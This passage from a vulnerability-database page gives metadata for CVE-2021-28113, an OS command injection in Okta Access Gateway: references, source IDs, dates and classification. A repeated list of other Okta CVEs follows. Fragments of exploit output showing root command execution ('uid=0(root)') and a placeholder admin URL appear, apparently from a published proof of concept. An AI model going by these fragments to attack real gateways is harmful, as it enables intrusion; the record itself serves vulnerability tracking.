        "url": "https://nvd.nist.gov/vuln/detail/cve-2021-28113"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/78.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://google.com\","
      },
      {
        "trust": 0.1,
        "url": "https://gw-admin.domain.tld/auth/test.php"
      },
      {
        "trust": 0.1,
        "url": "https://www.okta.com/security-advisories/cve-2021-28113/"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "db": "VULMON",
        "id": "CVE-2021-28113"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "PACKETSTORM",
        "id": "163428"
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "db": "VULMON",
        "id": "CVE-2021-28113"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "PACKETSTORM",
        "id": "163428"
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2021-04-02T00:00:00",
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "date": "2021-04-02T00:00:00",
        "db": "VULMON",
        "id": "CVE-2021-28113"
      },
      {
        "date": "2021-12-08T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "date": "2021-07-07T16:10:02",
        "db": "PACKETSTORM",
        "id": "163428"
      },
      {
        "date": "2021-04-02T15:15:13.160000",
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "date": "2021-04-02T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2022-05-27T00:00:00",
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "date": "2021-07-07T00:00:00",
        "db": "VULMON",
        "id": "CVE-2021-28113"
      },
      {
        "date": "2021-12-08T03:07:00",
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "date": "2022-05-27T16:47:02.470000",
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "date": "2021-07-08T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "163428"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Okta\u00a0Access\u00a0Gateway\u00a0 In \u00a0OS\u00a0 Command injection vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "operating system commend injection",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ],
    "trust": 0.6
  }
}

Find a vulnerability

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

35 vulnerabilities by okta

CVE-2025-67505 (GCVE-0-2025-67505)

CVE-2025-66033 (GCVE-0-2025-66033)

CVE-2025-7371 (GCVE-0-2025-7371)

CVE-2024-9875 (GCVE-0-2024-9875)

CVE-2024-9191 (GCVE-0-2024-9191)

CVE-2024-10327 (GCVE-0-2024-10327)

CVE-2024-7061 (GCVE-0-2024-7061)

CVE-2024-0981 (GCVE-0-2024-0981)

CVE-2024-0980 (GCVE-0-2024-0980)

CVE-2023-0392 (GCVE-0-2023-0392)

CVE-2021-45094 (GCVE-0-2021-45094)

CVE-2023-0093 (GCVE-0-2023-0093)

CVE-2022-3145 (GCVE-0-2022-3145)

CVE-2022-1697 (GCVE-0-2022-1697)

CVE-2022-1030 (GCVE-0-2022-1030)

CVE-2025-67505 (GCVE-0-2025-67505)

CVE-2025-66033 (GCVE-0-2025-66033)

CVE-2025-7371 (GCVE-0-2025-7371)

CVE-2024-9875 (GCVE-0-2024-9875)

CVE-2024-9191 (GCVE-0-2024-9191)

CVE-2024-10327 (GCVE-0-2024-10327)

CVE-2024-7061 (GCVE-0-2024-7061)

CVE-2024-0981 (GCVE-0-2024-0981)

CVE-2024-0980 (GCVE-0-2024-0980)

CVE-2023-0392 (GCVE-0-2023-0392)

CVE-2021-45094 (GCVE-0-2021-45094)

CVE-2023-0093 (GCVE-0-2023-0093)

CVE-2022-3145 (GCVE-0-2022-3145)

CVE-2022-1697 (GCVE-0-2022-1697)

VAR-202104-1194

1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]

Find a vulnerability

Search criteria ⓘ Use this form to refine search results. Full-text search supports keyword queries with ranking and filtering. You can combine vendor, product, and sources to narrow results. Enable “Apply ordering” to sort by date instead of relevance.

35 vulnerabilities by okta

CVE-2025-67505 (GCVE-0-2025-67505)

CVE-2025-66033 (GCVE-0-2025-66033)

CVE-2025-7371 (GCVE-0-2025-7371)

CVE-2024-9875 (GCVE-0-2024-9875)

CVE-2024-9191 (GCVE-0-2024-9191)

CVE-2024-10327 (GCVE-0-2024-10327)

CVE-2024-7061 (GCVE-0-2024-7061)

CVE-2024-0981 (GCVE-0-2024-0981)

CVE-2024-0980 (GCVE-0-2024-0980)

CVE-2023-0392 (GCVE-0-2023-0392)

CVE-2021-45094 (GCVE-0-2021-45094)

CVE-2023-0093 (GCVE-0-2023-0093)

CVE-2022-3145 (GCVE-0-2022-3145)

CVE-2022-1697 (GCVE-0-2022-1697)

CVE-2022-1030 (GCVE-0-2022-1030)

CVE-2025-67505 (GCVE-0-2025-67505)

CVE-2025-66033 (GCVE-0-2025-66033)

CVE-2025-7371 (GCVE-0-2025-7371)

CVE-2024-9875 (GCVE-0-2024-9875)

CVE-2024-9191 (GCVE-0-2024-9191)

CVE-2024-10327 (GCVE-0-2024-10327)

CVE-2024-7061 (GCVE-0-2024-7061)

CVE-2024-0981 (GCVE-0-2024-0981)

CVE-2024-0980 (GCVE-0-2024-0980)

CVE-2023-0392 (GCVE-0-2023-0392)

CVE-2021-45094 (GCVE-0-2021-45094)

CVE-2023-0093 (GCVE-0-2023-0093)

CVE-2022-3145 (GCVE-0-2022-3145)

CVE-2022-1697 (GCVE-0-2022-1697)

VAR-202104-1194

1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.